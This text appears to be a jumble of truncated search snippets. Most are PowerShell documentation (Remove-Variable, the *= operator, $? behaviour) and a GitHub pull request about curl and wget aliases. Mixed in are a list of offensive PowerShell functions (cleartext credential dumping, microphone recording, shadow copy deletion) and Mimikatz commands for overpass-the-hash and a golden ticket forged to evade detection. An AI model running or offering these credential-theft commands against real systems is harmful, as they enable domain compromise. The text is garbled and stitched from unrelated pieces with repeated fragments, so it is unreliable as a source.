Remove-Variable 參考 意見反應 模組: Microsoft.PowerShell.Utility 刪除變數及其值。 語法 PowerShell 複製 Remove-Variable [-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Scope <String>] [-WhatIf] [-Confirm] [<CommonParameters>] Description Rem...
Remove-Variable[-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Scope <String>] [-WhatIf] [-Confirm] [<CommonParameters>] 说明 Remove-Variablecmdlet 从定义变量的范围中删除变量及其值,例如当前会话。 不能使用此 cmdlet 删除设置为常量或系统拥有的变量。
PowerShell 复制 Remove-Variable -Name a 乘法运算符赋值通过乘法运算符 *= 进行的赋值会乘以数值或追加变量字符串值的指定副本数。当变量包含单个数值时,该值乘以运算符右侧的值。 例如,以下示例演示如何使用 *= 运算符将变量的值相乘:PowerShell 复制 $a = 3 $a *= 4 $a Output 复制 ...
variable is: False Now the $? variable is: True 出于后者的目的,应改用 $PSCmdlet.WriteError()。 对于本机命令(可执行文件),当 $? 为0 时, 设置为 $LASTEXITCODE,当 为任何其他值时设置为 $LASTEXITCODE。 备注 在PowerShell 7 之前,用括号 (...)、子表达式语法 $(...)或数组表达式 @(.....
variable is: False Now the $? variable is: True 出于后者的目的,应改用 $PSCmdlet.WriteError()。 对于本机命令(可执行文件),当 $? 为0 时, 设置为 $LASTEXITCODE,当 为任何其他值时设置为 $LASTEXITCODE。 备注 在PowerShell 7 之前,用括号 (...)、子表达式语法 $(...)或数...
Remove-PSBreakpoint Deletes breakpoints from the current console. Remove-PSDrive Removes a Windows PowerShell drive from its location. Remove-PSSession Closes one or more Windows PSSessions. Remove-PSSnapin Removes Windows PowerShell snap-ins from the current session. Remove-Variable Deletes a variab...
Closed bagder wants to merge 1 commit into PowerShell:master from bagder:remove-curl-wget-aliasesClosed initialsession: remove curl and wget aliases #1901 bagder wants to merge 1 commit into PowerShell:master from bagder:remove-curl-wget-aliasesConversation...
Remove-VolumeShadowCopy Deletes a volume shadow copy. Get-VaultCredential Displays Windows vault credential objects including cleartext web credentials. Out-Minidump Generates a full-memory minidump of a process. 'Get-MicrophoneAudio' Records audio from system microphone and saves to disk ...
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory) sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe # Golden ticket (domain admin, w/ some ticket properties to avoid detection) kerberos::golden /user:Administrator /domain:targe...
Output from explorer.ps1 When we take in an argument in PowerShell, it is stored in an array called $args. We can think of an array as a variable with multiple storage compartments called elements, each of them individually addressable. With an array we can use a single data structure to...